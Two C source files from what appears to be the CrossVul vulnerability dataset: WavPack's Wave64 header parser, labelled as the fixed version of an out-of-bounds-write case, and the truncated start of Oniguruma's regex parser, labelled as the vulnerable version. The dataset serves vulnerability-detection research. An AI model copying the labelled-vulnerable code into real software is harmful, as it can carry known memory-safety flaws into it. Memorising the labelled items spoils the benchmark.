//////////////////////////////////////////////////////////////////////////// // **** WAVPACK **** // // Hybrid Lossless Wavefile Compressor // // Copyright (c) 1998 - 2016 David Bryant. // // All Rights Reserved. // // Distributed under the BSD Software License (see license.txt) // //////////////////////////////////////////////////////////////////////////// // wave64.c // This module is a helper to the WavPack command-line programs to support Sony's // Wave64 WAV file varient. Note that unlike the WAV/RF64 version, this does not // fall back to conventional WAV in the < 4GB case. #include <string.h> #include <stdlib.h> #include <fcntl.h> #include <math.h> #include <stdio.h> #include <ctype.h> #include "wavpack.h" #include "utils.h" #include "md5.h" typedef struct { char ckID [16]; int64_t ckSize; char formType [16]; } Wave64FileHeader; typedef struct { char ckID [16]; int64_t ckSize; } Wave64ChunkHeader; #define Wave64ChunkHeaderFormat "88D" static const unsigned char riff_guid [16] = { 'r','i','f','f', 0x2e,0x91,0xcf,0x11,0xa5,0xd6,0x28,0xdb,0x04,0xc1,0x00,0x00 }; static const unsigned char wave_guid [16] = { 'w','a','v','e', 0xf3,0xac,0xd3,0x11,0x8c,0xd1,0x00,0xc0,0x4f,0x8e,0xdb,0x8a }; static const unsigned char fmt_guid [16] = { 'f','m','t',' ', 0xf3,0xac,0xd3,0x11,0x8c,0xd1,0x00,0xc0,0x4f,0x8e,0xdb,0x8a }; static const unsigned char data_guid [16] = { 'd','a','t','a', 0xf3,0xac,0xd3,0x11,0x8c,0xd1,0x00,0xc0,0x4f,0x8e,0xdb,0x8a }; #define WAVPACK_NO_ERROR 0 #define WAVPACK_SOFT_ERROR 1 #define WAVPACK_HARD_ERROR 2 extern int debug_logging_mode; int ParseWave64HeaderConfig (FILE *infile, char *infilename, char *fourcc, WavpackContext *wpc, WavpackConfig *config) { int64_t total_samples = 0, infilesize; Wave64ChunkHeader chunk_header; Wave64FileHeader filehdr; WaveHeader WaveHeader; uint32_t bcount; infilesize = DoGetFileSize (infile); memcpy (&filehdr, fourcc, 4); if (!DoReadFile (infile, ((char *) &filehdr) + 4, sizeof (Wave64FileHeader) - 4, &bcount) || bcount != sizeof (Wave64FileHeader) - 4 || memcmp (filehdr.ckID, riff_guid, sizeof (riff_guid)) || memcmp (filehdr.formType, wave_guid, sizeof (wave_guid))) { error_line ("%s is not a valid .W64 file!", infilename); return WAVPACK_SOFT_ERROR; } else if (!(config->qmode & QMODE_NO_STORE_WRAPPER) && !WavpackAddWrapper (wpc, &filehdr, sizeof (filehdr))) { error_line ("%s", WavpackGetErrorMessage (wpc)); return WAVPACK_SOFT_ERROR; } #if 1 // this might be a little too picky... WavpackLittleEndianToNative (&filehdr, Wave64ChunkHeaderFormat); if (infilesize && !(config->qmode & QMODE_IGNORE_LENGTH) && filehdr.ckSize && filehdr.ckSize + 1 && filehdr.ckSize != infilesize) { error_line ("%s is not a valid .W64 file!", infilename); return WAVPACK_SOFT_ERROR; } #endif // loop through all elements of the wave64 header // (until the data chuck) and copy them to the output file while (1) { if (!DoReadFile (infile, &chunk_header, sizeof (Wave64ChunkHeader), &bcount) || bcount != sizeof (Wave64ChunkHeader)) { error_line ("%s is not a valid .W64 file!", infilename); return WAVPACK_SOFT_ERROR; } else if (!(config->qmode & QMODE_NO_STORE_WRAPPER) && !WavpackAddWrapper (wpc, &chunk_header, sizeof (Wave64ChunkHeader))) { error_line ("%s", WavpackGetErrorMessage (wpc)); return WAVPACK_SOFT_ERROR; } WavpackLittleEndianToNative (&chunk_header, Wave64ChunkHeaderFormat); chunk_header.ckSize -= sizeof (chunk_header); // if it's the format chunk, we want to get some info out of there and // make sure it's a .wav file we can handle if (!memcmp (chunk_header.ckID, fmt_guid, sizeof (fmt_guid))) { int supported = TRUE, format; chunk_header.ckSize = (chunk_header.ckSize + 7) & ~7L; if (chunk_header.ckSize < 16 || chunk_header.ckSize > sizeof (WaveHeader) || !DoReadFile (infile, &WaveHeader, (uint32_t) chunk_header.ckSize, &bcount) || bcount != chunk_header.ckSize) { error_line ("%s is not a valid .W64 file!", infilename); return WAVPACK_SOFT_ERROR; } else if (!(config->qmode & QMODE_NO_STORE_WRAPPER) && !WavpackAddWrapper (wpc, &WaveHeader, (uint32_t) chunk_header.ckSize)) { error_line ("%s", WavpackGetErrorMessage (wpc)); return WAVPACK_SOFT_ERROR; } WavpackLittleEndianToNative (&WaveHeader, WaveHeaderFormat); if (debug_logging_mode) { error_line ("format tag size = %d", chunk_header.ckSize); error_line ("FormatTag = %x, NumChannels = %d, BitsPerSample = %d", WaveHeader.FormatTag, WaveHeader.NumChannels, WaveHeader.BitsPerSample); error_line ("BlockAlign = %d, SampleRate = %d, BytesPerSecond = %d", WaveHeader.BlockAlign, WaveHeader.SampleRate, WaveHeader.BytesPerSecond); if (chunk_header.ckSize > 16) error_line ("cbSize = %d, ValidBitsPerSample = %d", WaveHeader.cbSize, WaveHeader.ValidBitsPerSample); if (chunk_header.ckSize > 20) error_line ("ChannelMask = %x, SubFormat = %d", WaveHeader.ChannelMask, WaveHeader.SubFormat); } if (chunk_header.ckSize > 16 && WaveHeader.cbSize == 2) config->qmode |= QMODE_ADOBE_MODE; format = (WaveHeader.FormatTag == 0xfffe && chunk_header.ckSize == 40) ? WaveHeader.SubFormat : WaveHeader.FormatTag; config->bits_per_sample = (chunk_header.ckSize == 40 && WaveHeader.ValidBitsPerSample) ? WaveHeader.ValidBitsPerSample : WaveHeader.BitsPerSample; if (format != 1 && format != 3) supported = FALSE; if (format == 3 && config->bits_per_sample != 32) supported = FALSE; if (!WaveHeader.NumChannels || WaveHeader.NumChannels > 256 || WaveHeader.BlockAlign / WaveHeader.NumChannels < (config->bits_per_sample + 7) / 8 || WaveHeader.BlockAlign / WaveHeader.NumChannels > 4 || WaveHeader.BlockAlign % WaveHeader.NumChannels) supported = FALSE; if (config->bits_per_sample < 1 || config->bits_per_sample > 32) supported = FALSE; if (!supported) { error_line ("%s is an unsupported .W64 format!", infilename); return WAVPACK_SOFT_ERROR; } if (chunk_header.ckSize < 40) { if (!config->channel_mask && !(config->qmode & QMODE_CHANS_UNASSIGNED)) { if (WaveHeader.NumChannels <= 2) config->channel_mask = 0x5 - WaveHeader.NumChannels; else if (WaveHeader.NumChannels <= 18) config->channel_mask = (1 << WaveHeader.NumChannels) - 1; else config->channel_mask = 0x3ffff; } } else if (WaveHeader.ChannelMask && (config->channel_mask || (config->qmode & QMODE_CHANS_UNASSIGNED))) { error_line ("this W64 file already has channel order information!"); return WAVPACK_SOFT_ERROR; } else if (WaveHeader.ChannelMask) config->channel_mask = WaveHeader.ChannelMask; if (format == 3) config->float_norm_exp = 127; else if ((config->qmode & QMODE_ADOBE_MODE) && WaveHeader.BlockAlign / WaveHeader.NumChannels == 4) { if (WaveHeader.BitsPerSample == 24) config->float_norm_exp = 127 + 23; else if (WaveHeader.BitsPerSample == 32) config->float_norm_exp = 127 + 15; } if (debug_logging_mode) { if (config->float_norm_exp == 127) error_line ("data format: normalized 32-bit floating point"); else error_line ("data format: %d-bit integers stored in %d byte(s)", config->bits_per_sample, WaveHeader.BlockAlign / WaveHeader.NumChannels); } } else if (!memcmp (chunk_header.ckID, data_guid, sizeof (data_guid))) { // on the data chunk, get size and exit loop if (!WaveHeader.NumChannels) { // make sure we saw "fmt" chunk error_line ("%s is not a valid .W64 file!", infilename); return WAVPACK_SOFT_ERROR; } if ((config->qmode & QMODE_IGNORE_LENGTH) || chunk_header.ckSize <= 0) { config->qmode |= QMODE_IGNORE_LENGTH; if (infilesize && DoGetFilePosition (infile) != -1) total_samples = (infilesize - DoGetFilePosition (infile)) / WaveHeader.BlockAlign; else total_samples = -1; } else { if (infilesize && infilesize - chunk_header.ckSize > 16777216) { error_line ("this .W64 file has over 16 MB of extra RIFF data, probably is corrupt!"); return WAVPACK_SOFT_ERROR; } total_samples = chunk_header.ckSize / WaveHeader.BlockAlign; if (!total_samples) { error_line ("this .W64 file has no audio samples, probably is corrupt!"); return WAVPACK_SOFT_ERROR; } if (total_samples > MAX_WAVPACK_SAMPLES) { error_line ("%s has too many samples for WavPack!", infilename); return WAVPACK_SOFT_ERROR; } } config->bytes_per_sample = WaveHeader.BlockAlign / WaveHeader.NumChannels; config->num_channels = WaveHeader.NumChannels; config->sample_rate = WaveHeader.SampleRate; break; } else { // just copy unknown chunks to output file int bytes_to_copy = (chunk_header.ckSize + 7) & ~7L; char *buff; if (bytes_to_copy < 0 || bytes_to_copy > 4194304) { error_line ("%s is not a valid .W64 file!", infilename); return WAVPACK_SOFT_ERROR; } buff = malloc (bytes_to_copy); if (debug_logging_mode) error_line ("extra unknown chunk \"%c%c%c%c\" of %d bytes", chunk_header.ckID [0], chunk_header.ckID [1], chunk_header.ckID [2], chunk_header.ckID [3], chunk_header.ckSize); if (!DoReadFile (infile, buff, bytes_to_copy, &bcount) || bcount != bytes_to_copy || (!(config->qmode & QMODE_NO_STORE_WRAPPER) && !WavpackAddWrapper (wpc, buff, bytes_to_copy))) { error_line ("%s", WavpackGetErrorMessage (wpc)); free (buff); return WAVPACK_SOFT_ERROR; } free (buff); } } if (!WavpackSetConfiguration64 (wpc, config, total_samples, NULL)) { error_line ("%s: %s", infilename, WavpackGetErrorMessage (wpc)); return WAVPACK_SOFT_ERROR; } return WAVPACK_NO_ERROR; } int WriteWave64Header (FILE *outfile, WavpackContext *wpc, int64_t total_samples, int qmode) { Wave64ChunkHeader datahdr, fmthdr; Wave64FileHeader filehdr; WaveHeader wavhdr; uint32_t bcount; int64_t total_data_bytes, total_file_bytes; int num_channels = WavpackGetNumChannels (wpc); int32_t channel_mask = WavpackGetChannelMask (wpc); int32_t sample_rate = WavpackGetSampleRate (wpc); int bytes_per_sample = WavpackGetBytesPerSample (wpc); int bits_per_sample = WavpackGetBitsPerSample (wpc); int format = WavpackGetFloatNormExp (wpc) ? 3 : 1; int wavhdrsize = 16; if (format == 3 && WavpackGetFloatNormExp (wpc) != 127) { error_line ("can't create valid Wave64 header for non-normalized floating data!"); return FALSE; } if (total_samples == -1) total_samples = 0x7ffff000 / (bytes_per_sample * num_channels); total_data_bytes = total_samples * bytes_per_sample * num_channels; CLEAR (wavhdr); wavhdr.FormatTag = format; wavhdr.NumChannels = num_channels; wavhdr.SampleRate = sample_rate; wavhdr.BytesPerSecond = sample_rate * num_channels * bytes_per_sample; wavhdr.BlockAlign = bytes_per_sample * num_channels; wavhdr.BitsPerSample = bits_per_sample; if (num_channels > 2 || channel_mask != 0x5 - num_channels) { wavhdrsize = sizeof (wavhdr); wavhdr.cbSize = 22; wavhdr.ValidBitsPerSample = bits_per_sample; wavhdr.SubFormat = format; wavhdr.ChannelMask = channel_mask; wavhdr.FormatTag = 0xfffe; wavhdr.BitsPerSample = bytes_per_sample * 8; wavhdr.GUID [4] = 0x10; wavhdr.GUID [6] = 0x80; wavhdr.GUID [9] = 0xaa; wavhdr.GUID [11] = 0x38; wavhdr.GUID [12] = 0x9b; wavhdr.GUID [13] = 0x71; } total_file_bytes = sizeof (filehdr) + sizeof (fmthdr) + wavhdrsize + sizeof (datahdr) + ((total_data_bytes + 7) & ~(int64_t)7); memcpy (filehdr.ckID, riff_guid, sizeof (riff_guid)); memcpy (filehdr.formType, wave_guid, sizeof (wave_guid)); filehdr.ckSize = total_file_bytes; memcpy (fmthdr.ckID, fmt_guid, sizeof (fmt_guid)); fmthdr.ckSize = sizeof (fmthdr) + wavhdrsize; memcpy (datahdr.ckID, data_guid, sizeof (data_guid)); datahdr.ckSize = total_data_bytes + sizeof (datahdr); // write the RIFF chunks up to just before the data starts WavpackNativeToLittleEndian (&filehdr, Wave64ChunkHeaderFormat); WavpackNativeToLittleEndian (&fmthdr, Wave64ChunkHeaderFormat); WavpackNativeToLittleEndian (&wavhdr, WaveHeaderFormat); WavpackNativeToLittleEndian (&datahdr, Wave64ChunkHeaderFormat); if (!DoWriteFile (outfile, &filehdr, sizeof (filehdr), &bcount) || bcount != sizeof (filehdr) || !DoWriteFile (outfile, &fmthdr, sizeof (fmthdr), &bcount) || bcount != sizeof (fmthdr) || !DoWriteFile (outfile, &wavhdr, wavhdrsize, &bcount) || bcount != wavhdrsize || !DoWriteFile (outfile, &datahdr, sizeof (datahdr), &bcount) || bcount != sizeof (datahdr)) { error_line ("can't write .W64 data, disk probably full!"); return FALSE; } return TRUE; }
./CrossVul/dataset_final_sorted/CWE-787/c/good_96_2
crossvul-cpp_data_bad_3377_0
/********************************************************************** regparse.c - Oniguruma (regular expression library) **********************************************************************/ /*- * Copyright (c) 2002-2016 K.Kosako <sndgk393 AT ybb DOT ne DOT jp> * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. */ #include "regparse.h" #include "st.h" #ifdef DEBUG_NODE_FREE #include <stdio.h> #endif #define WARN_BUFSIZE 256 #define CASE_FOLD_IS_APPLIED_INSIDE_NEGATIVE_CCLASS OnigSyntaxType OnigSyntaxRuby = { (( SYN_GNU_REGEX_OP | ONIG_SYN_OP_QMARK_NON_GREEDY | ONIG_SYN_OP_ESC_OCTAL3 | ONIG_SYN_OP_ESC_X_HEX2 | ONIG_SYN_OP_ESC_X_BRACE_HEX8 | ONIG_SYN_OP_ESC_O_BRACE_OCTAL | ONIG_SYN_OP_ESC_CONTROL_CHARS | ONIG_SYN_OP_ESC_C_CONTROL ) & ~ONIG_SYN_OP_ESC_LTGT_WORD_BEGIN_END ) , ( ONIG_SYN_OP2_QMARK_GROUP_EFFECT | ONIG_SYN_OP2_OPTION_RUBY | ONIG_SYN_OP2_QMARK_LT_NAMED_GROUP | ONIG_SYN_OP2_ESC_K_NAMED_BACKREF | ONIG_SYN_OP2_ESC_G_SUBEXP_CALL | ONIG_SYN_OP2_ESC_P_BRACE_CHAR_PROPERTY | ONIG_SYN_OP2_ESC_P_BRACE_CIRCUMFLEX_NOT | ONIG_SYN_OP2_PLUS_POSSESSIVE_REPEAT | ONIG_SYN_OP2_CCLASS_SET_OP | ONIG_SYN_OP2_ESC_CAPITAL_C_BAR_CONTROL | ONIG_SYN_OP2_ESC_CAPITAL_M_BAR_META | ONIG_SYN_OP2_ESC_V_VTAB | ONIG_SYN_OP2_ESC_H_XDIGIT ) , ( SYN_GNU_REGEX_BV | ONIG_SYN_ALLOW_INTERVAL_LOW_ABBREV | ONIG_SYN_DIFFERENT_LEN_ALT_LOOK_BEHIND | ONIG_SYN_CAPTURE_ONLY_NAMED_GROUP | ONIG_SYN_ALLOW_MULTIPLEX_DEFINITION_NAME | ONIG_SYN_FIXED_INTERVAL_IS_GREEDY_ONLY | ONIG_SYN_WARN_CC_OP_NOT_ESCAPED | ONIG_SYN_WARN_REDUNDANT_NESTED_REPEAT ) , ONIG_OPTION_NONE , { (OnigCodePoint )'\\' /* esc */ , (OnigCodePoint )ONIG_INEFFECTIVE_META_CHAR /* anychar '.' */ , (OnigCodePoint )ONIG_INEFFECTIVE_META_CHAR /* anytime '*' */ , (OnigCodePoint )ONIG_INEFFECTIVE_META_CHAR /* zero or one time '?' */ , (OnigCodePoint )ONIG_INEFFECTIVE_META_CHAR /* one or more time '+' */ , (OnigCodePoint )ONIG_INEFFECTIVE_META_CHAR /* anychar anytime */ } }; OnigSyntaxType* OnigDefaultSyntax = ONIG_SYNTAX_RUBY; extern void onig_null_warn(const char* s ARG_UNUSED) { } #ifdef DEFAULT_WARN_FUNCTION static OnigWarnFunc onig_warn = (OnigWarnFunc )DEFAULT_WARN_FUNCTION; #else static OnigWarnFunc onig_warn = onig_null_warn; #endif #ifdef DEFAULT_VERB_WARN_FUNCTION static OnigWarnFunc onig_verb_warn = (OnigWarnFunc )DEFAULT_VERB_WARN_FUNCTION; #else static OnigWarnFunc onig_verb_warn = onig_null_warn; #endif extern void onig_set_warn_func(OnigWarnFunc f) { onig_warn = f; } extern void onig_set_verb_warn_func(OnigWarnFunc f) { onig_verb_warn = f; } extern void onig_warning(const char* s) { if (onig_warn == onig_null_warn) return ; (*onig_warn)(s); } #define DEFAULT_MAX_CAPTURE_NUM 32767 static int MaxCaptureNum = DEFAULT_MAX_CAPTURE_NUM; extern int onig_set_capture_num_limit(int num) { if (num < 0) return -1; MaxCaptureNum = num; return 0; } static unsigned int ParseDepthLimit = DEFAULT_PARSE_DEPTH_LIMIT; extern unsigned int onig_get_parse_depth_limit(void) { return ParseDepthLimit; } extern int onig_set_parse_depth_limit(unsigned int depth) { if (depth == 0) ParseDepthLimit = DEFAULT_PARSE_DEPTH_LIMIT; else ParseDepthLimit = depth; return 0; } static void bbuf_free(BBuf* bbuf) { if (IS_NOT_NULL(bbuf)) { if (IS_NOT_NULL(bbuf->p)) xfree(bbuf->p); xfree(bbuf); } } static int bbuf_clone(BBuf** rto, BBuf* from) { int r; BBuf *to; *rto = to = (BBuf* )xmalloc(sizeof(BBuf)); CHECK_NULL_RETURN_MEMERR(to); r = BBUF_INIT(to, from->alloc); if (r != 0) return r; to->used = from->used; xmemcpy(to->p, from->p, from->used); return 0; } #define BACKREF_REL_TO_ABS(rel_no, env) \ ((env)->num_mem + 1 + (rel_no)) #define ONOFF(v,f,negative) (negative) ? ((v) &= ~(f)) : ((v) |= (f)) #define MBCODE_START_POS(enc) \ (OnigCodePoint )(ONIGENC_MBC_MINLEN(enc) > 1 ? 0 : 0x80) #define SET_ALL_MULTI_BYTE_RANGE(enc, pbuf) \ add_code_range_to_buf(pbuf, MBCODE_START_POS(enc), ~((OnigCodePoint )0)) #define ADD_ALL_MULTI_BYTE_RANGE(enc, mbuf) do {\ if (! ONIGENC_IS_SINGLEBYTE(enc)) {\ r = SET_ALL_MULTI_BYTE_RANGE(enc, &(mbuf));\ if (r) return r;\ }\ } while (0) #define BITSET_IS_EMPTY(bs,empty) do {\ int i;\ empty = 1;\ for (i = 0; i < (int )BITSET_SIZE; i++) {\ if ((bs)[i] != 0) {\ empty = 0; break;\ }\ }\ } while (0) static void bitset_set_range(BitSetRef bs, int from, int to) { int i; for (i = from; i <= to && i < SINGLE_BYTE_SIZE; i++) { BITSET_SET_BIT(bs, i); } } #if 0 static void bitset_set_all(BitSetRef bs) { int i; for (i = 0; i < BITSET_SIZE; i++) { bs[i] = ~((Bits )0); } } #endif static void bitset_invert(BitSetRef bs) { int i; for (i = 0; i < (int )BITSET_SIZE; i++) { bs[i] = ~(bs[i]); } } static void bitset_invert_to(BitSetRef from, BitSetRef to) { int i; for (i = 0; i < (int )BITSET_SIZE; i++) { to[i] = ~(from[i]); } } static void bitset_and(BitSetRef dest, BitSetRef bs) { int i; for (i = 0; i < (int )BITSET_SIZE; i++) { dest[i] &= bs[i]; } } static void bitset_or(BitSetRef dest, BitSetRef bs) { int i; for (i = 0; i < (int )BITSET_SIZE; i++) { dest[i] |= bs[i]; } } static void bitset_copy(BitSetRef dest, BitSetRef bs) { int i; for (i = 0; i < (int )BITSET_SIZE; i++) { dest[i] = bs[i]; } } extern int onig_strncmp(const UChar* s1, const UChar* s2, int n) { int x; while (n-- > 0) { x = *s2++ - *s1++; if (x) return x; } return 0; } extern void onig_strcpy(UChar* dest, const UChar* src, const UChar* end) { int len = end - src; if (len > 0) { xmemcpy(dest, src, len); dest[len] = (UChar )0; } } #ifdef USE_NAMED_GROUP static UChar* strdup_with_null(OnigEncoding enc, UChar* s, UChar* end) { int slen, term_len, i; UChar *r; slen = end - s; term_len = ONIGENC_MBC_MINLEN(enc); r = (UChar* )xmalloc(slen + term_len); CHECK_NULL_RETURN(r); xmemcpy(r, s, slen); for (i = 0; i < term_len; i++) r[slen + i] = (UChar )0; return r; } #endif /* scan pattern methods */ #define PEND_VALUE 0 #define PFETCH_READY UChar* pfetch_prev #define PEND (p < end ? 0 : 1) #define PUNFETCH p = pfetch_prev #define PINC do { \ pfetch_prev = p; \ p += ONIGENC_MBC_ENC_LEN(enc, p); \ } while (0) #define PFETCH(c) do { \ c = ONIGENC_MBC_TO_CODE(enc, p, end); \ pfetch_prev = p; \ p += ONIGENC_MBC_ENC_LEN(enc, p); \ } while (0) #define PINC_S do { \ p += ONIGENC_MBC_ENC_LEN(enc, p); \ } while (0) #define PFETCH_S(c) do { \ c = ONIGENC_MBC_TO_CODE(enc, p, end); \ p += ONIGENC_MBC_ENC_LEN(enc, p); \ } while (0) #define PPEEK (p < end ? ONIGENC_MBC_TO_CODE(enc, p, end) : PEND_VALUE) #define PPEEK_IS(c) (PPEEK == (OnigCodePoint )c) static UChar* strcat_capa(UChar* dest, UChar* dest_end, const UChar* src, const UChar* src_end, int capa) { UChar* r; if (dest) r = (UChar* )xrealloc(dest, capa + 1); else r = (UChar* )xmalloc(capa + 1); CHECK_NULL_RETURN(r); onig_strcpy(r + (dest_end - dest), src, src_end); return r; } /* dest on static area */ static UChar* strcat_capa_from_static(UChar* dest, UChar* dest_end, const UChar* src, const UChar* src_end, int capa) { UChar* r; r = (UChar* )xmalloc(capa + 1); CHECK_NULL_RETURN(r); onig_strcpy(r, dest, dest_end); onig_strcpy(r + (dest_end - dest), src, src_end); return r; } #ifdef USE_ST_LIBRARY typedef struct { UChar* s; UChar* end; } st_str_end_key; static int str_end_cmp(st_str_end_key* x, st_str_end_key* y) { UChar *p, *q; int c; if ((x->end - x->s) != (y->end - y->s)) return 1; p = x->s; q = y->s; while (p < x->end) { c = (int )*p - (int )*q; if (c != 0) return c; p++; q++; } return 0; } static int str_end_hash(st_str_end_key* x) { UChar *p; int val = 0; p = x->s; while (p < x->end) { val = val * 997 + (int )*p++; } return val + (val >> 5); } extern hash_table_type* onig_st_init_strend_table_with_size(int size) { static struct st_hash_type hashType = { str_end_cmp, str_end_hash, }; return (hash_table_type* ) onig_st_init_table_with_size(&hashType, size); } extern int onig_st_lookup_strend(hash_table_type* table, const UChar* str_key, const UChar* end_key, hash_data_type *value) { st_str_end_key key; key.s = (UChar* )str_key; key.end = (UChar* )end_key; return onig_st_lookup(table, (st_data_t )(&key), value); } extern int onig_st_insert_strend(hash_table_type* table, const UChar* str_key, const UChar* end_key, hash_data_type value) { st_str_end_key* key; int result; key = (st_str_end_key* )xmalloc(sizeof(st_str_end_key)); key->s = (UChar* )str_key; key->end = (UChar* )end_key; result = onig_st_insert(table, (st_data_t )key, value); if (result) { xfree(key); } return result; } #endif /* USE_ST_LIBRARY */ #ifdef USE_NAMED_GROUP #define INIT_NAME_BACKREFS_ALLOC_NUM 8 typedef struct { UChar* name; int name_len; /* byte length */ int back_num; /* number of backrefs */ int back_alloc; int back_ref1; int* back_refs; } NameEntry; #ifdef USE_ST_LIBRARY typedef st_table NameTable; typedef st_data_t HashDataType; /* 1.6 st.h doesn't define st_data_t type */ #define NAMEBUF_SIZE 24 #define NAMEBUF_SIZE_1 25 #ifdef ONIG_DEBUG static int i_print_name_entry(UChar* key, NameEntry* e, void* arg) { int i; FILE* fp = (FILE* )arg; fprintf(fp, "%s: ", e->name); if (e->back_num == 0) fputs("-", fp); else if (e->back_num == 1) fprintf(fp, "%d", e->back_ref1); else { for (i = 0; i < e->back_num; i++) { if (i > 0) fprintf(fp, ", "); fprintf(fp, "%d", e->back_refs[i]); } } fputs("\n", fp); return ST_CONTINUE; } extern int onig_print_names(FILE* fp, regex_t* reg) { NameTable* t = (NameTable* )reg->name_table; if (IS_NOT_NULL(t)) { fprintf(fp, "name table\n"); onig_st_foreach(t, i_print_name_entry, (HashDataType )fp); fputs("\n", fp); } return 0; } #endif /* ONIG_DEBUG */ static int i_free_name_entry(UChar* key, NameEntry* e, void* arg ARG_UNUSED) { xfree(e->name); if (IS_NOT_NULL(e->back_refs)) xfree(e->back_refs); xfree(key); xfree(e); return ST_DELETE; } static int names_clear(regex_t* reg) { NameTable* t = (NameTable* )reg->name_table; if (IS_NOT_NULL(t)) { onig_st_foreach(t, i_free_name_entry, 0); } return 0; } extern int onig_names_free(regex_t* reg) { int r; NameTable* t; r = names_clear(reg); if (r) return r; t = (NameTable* )reg->name_table; if (IS_NOT_NULL(t)) onig_st_free_table(t); reg->name_table = (void* )NULL; return 0; } static NameEntry* name_find(regex_t* reg, const UChar* name, const UChar* name_end) { NameEntry* e; NameTable* t = (NameTable* )reg->name_table; e = (NameEntry* )NULL; if (IS_NOT_NULL(t)) { onig_st_lookup_strend(t, name, name_end, (HashDataType* )((void* )(&e))); } return e; } typedef struct { int (*func)(const UChar*, const UChar*,int,int*,regex_t*,void*); regex_t* reg; void* arg; int ret; OnigEncoding enc; } INamesArg; static int i_names(UChar* key ARG_UNUSED, NameEntry* e, INamesArg* arg) { int r = (*(arg->func))(e->name, e->name + e->name_len, e->back_num, (e->back_num > 1 ? e->back_refs : &(e->back_ref1)), arg->reg, arg->arg); if (r != 0) { arg->ret = r; return ST_STOP; } return ST_CONTINUE; } extern int onig_foreach_name(regex_t* reg, int (*func)(const UChar*, const UChar*,int,int*,regex_t*,void*), void* arg) { INamesArg narg; NameTable* t = (NameTable* )reg->name_table; narg.ret = 0; if (IS_NOT_NULL(t)) { narg.func = func; narg.reg = reg; narg.arg = arg; narg.enc = reg->enc; /* should be pattern encoding. */ onig_st_foreach(t, i_names, (HashDataType )&narg); } return narg.ret; } static int i_renumber_name(UChar* key ARG_UNUSED, NameEntry* e, GroupNumRemap* map) { int i; if (e->back_num > 1) { for (i = 0; i < e->back_num; i++) { e->back_refs[i] = map[e->back_refs[i]].new_val; } } else if (e->back_num == 1) { e->back_ref1 = map[e->back_ref1].new_val; } return ST_CONTINUE; } extern int onig_renumber_name_table(regex_t* reg, GroupNumRemap* map) { NameTable* t = (NameTable* )reg->name_table; if (IS_NOT_NULL(t)) { onig_st_foreach(t, i_renumber_name, (HashDataType )map); } return 0; } extern int onig_number_of_names(regex_t* reg) { NameTable* t = (NameTable* )reg->name_table; if (IS_NOT_NULL(t)) return t->num_entries; else return 0; } #else /* USE_ST_LIBRARY */ #define INIT_NAMES_ALLOC_NUM 8 typedef struct { NameEntry* e; int num; int alloc; } NameTable; #ifdef ONIG_DEBUG extern int onig_print_names(FILE* fp, regex_t* reg) { int i, j; NameEntry* e; NameTable* t = (NameTable* )reg->name_table; if (IS_NOT_NULL(t) && t->num > 0) { fprintf(fp, "name table\n"); for (i = 0; i < t->num; i++) { e = &(t->e[i]); fprintf(fp, "%s: ", e->name); if (e->back_num == 0) { fputs("-", fp); } else if (e->back_num == 1) { fprintf(fp, "%d", e->back_ref1); } else { for (j = 0; j < e->back_num; j++) { if (j > 0) fprintf(fp, ", "); fprintf(fp, "%d", e->back_refs[j]); } } fputs("\n", fp); } fputs("\n", fp); } return 0; } #endif static int names_clear(regex_t* reg) { int i; NameEntry* e; NameTable* t = (NameTable* )reg->name_table; if (IS_NOT_NULL(t)) { for (i = 0; i < t->num; i++) { e = &(t->e[i]); if (IS_NOT_NULL(e->name)) { xfree(e->name); e->name = NULL; e->name_len = 0; e->back_num = 0; e->back_alloc = 0; if (IS_NOT_NULL(e->back_refs)) xfree(e->back_refs); e->back_refs = (int* )NULL; } } if (IS_NOT_NULL(t->e)) { xfree(t->e); t->e = NULL; } t->num = 0; } return 0; } extern int onig_names_free(regex_t* reg) { int r; NameTable* t; r = names_clear(reg); if (r) return r; t = (NameTable* )reg->name_table; if (IS_NOT_NULL(t)) xfree(t); reg->name_table = NULL; return 0; } static NameEntry* name_find(regex_t* reg, UChar* name, UChar* name_end) { int i, len; NameEntry* e; NameTable* t = (NameTable* )reg->name_table; if (IS_NOT_NULL(t)) { len = name_end - name; for (i = 0; i < t->num; i++) { e = &(t->e[i]); if (len == e->name_len && onig_strncmp(name, e->name, len) == 0) return e; } } return (NameEntry* )NULL; } extern int onig_foreach_name(regex_t* reg, int (*func)(const UChar*, const UChar*,int,int*,regex_t*,void*), void* arg) { int i, r; NameEntry* e; NameTable* t = (NameTable* )reg->name_table; if (IS_NOT_NULL(t)) { for (i = 0; i < t->num; i++) { e = &(t->e[i]); r = (*func)(e->name, e->name + e->name_len, e->back_num, (e->back_num > 1 ? e->back_refs : &(e->back_ref1)), reg, arg); if (r != 0) return r; } } return 0; } extern int onig_number_of_names(regex_t* reg) { NameTable* t = (NameTable* )reg->name_table; if (IS_NOT_NULL(t)) return t->num; else return 0; } #endif /* else USE_ST_LIBRARY */ static int name_add(regex_t* reg, UChar* name, UChar* name_end, int backref, ScanEnv* env) { int alloc; NameEntry* e; NameTable* t = (NameTable* )reg->name_table; if (name_end - name <= 0) return ONIGERR_EMPTY_GROUP_NAME; e = name_find(reg, name, name_end); if (IS_NULL(e)) { #ifdef USE_ST_LIBRARY if (IS_NULL(t)) { t = onig_st_init_strend_table_with_size(5); reg->name_table = (void* )t; } e = (NameEntry* )xmalloc(sizeof(NameEntry)); 